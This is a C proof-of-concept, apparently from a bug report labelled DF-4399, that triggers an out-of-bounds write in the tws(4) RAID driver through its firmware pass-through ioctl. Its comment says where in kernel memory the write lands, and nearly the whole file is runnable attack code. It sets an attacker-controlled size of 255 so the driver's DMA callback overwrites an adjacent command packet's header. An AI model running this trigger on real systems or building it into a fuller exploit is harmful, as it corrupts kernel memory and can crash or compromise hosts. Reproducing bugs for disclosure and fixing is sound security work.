DF-4399 / trigger.c
/* * DF-4399 trigger: TWS_IOCTL_FIRMWARE_PASS_THROUGH with a non-EXECUTE_SCSI * opcode and generic.size = 255. On submission, tws_dmamap_data_load_cbfn() * writes the SGL at (u_int32_t*)gcmd + 255 -> cmd_buf[2] + 128 + 1020, * i.e. at offset 124 of cmd_buf[3]'s packet — directly on packet 3's * header_desc (size_header/request_id/size_sense) and command body. * * Must run as root on a host with a tws(4) controller (/dev/tws0, mode 0600). */ #include <sys/ioctl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> /* mirror of sys/dev/raid/tws packet layout (pack(1)) */ #pragma pack(1) struct tw_driver_packet { unsigned int control_code, status, unique_id, sequence_id, os_status, buffer_length; }; struct tw_cmd_generic { unsigned char sgl_off__opcode; unsigned char size; /* <-- attacker-controlled SGL offset */ unsigned char request_id, host_id__unit, status, flags; unsigned short count; }; struct tw_cmd_packet_u { unsigned char hdr[128]; /* tws_command_header */ unsigned char giga[896]; /* union tws_command_giga / apache body */ }; struct tw_ioctl_no_data_buf { struct tw_driver_packet driver_pkt; void *pdata; char padding[488 - sizeof(void *)]; struct tw_cmd_packet_u cmd_pkt; }; #pragma pack() #define TWS_IOCTL_FIRMWARE_PASS_THROUGH \ _IOWR('T', 202, struct tw_ioctl_no_data_buf) #define TWS_FW_CMD_SET_PARAM 0x13 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/tws0"; static struct tw_ioctl_no_data_buf b; static char data[4096]; int fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 1; } memset(&b, 0, sizeof(b)); b.driver_pkt.buffer_length = sizeof(data); /* non-zero -> SGL branch */ b.pdata = data; /* non-EXECUTE_SCSI opcode + max u8 size: SGL write at gcmd+1020 */ b.cmd_pkt.giga[0] = TWS_FW_CMD_SET_PARAM; ((struct tw_cmd_generic *)(void *)b.cmd_pkt.giga)->size = 255; if (ioctl(fd, TWS_IOCTL_FIRMWARE_PASS_THROUGH, &b) < 0) perror("ioctl"); printf("os_status=%u status=%u\n", b.driver_pkt.os_status, b.driver_pkt.status); return 0; } |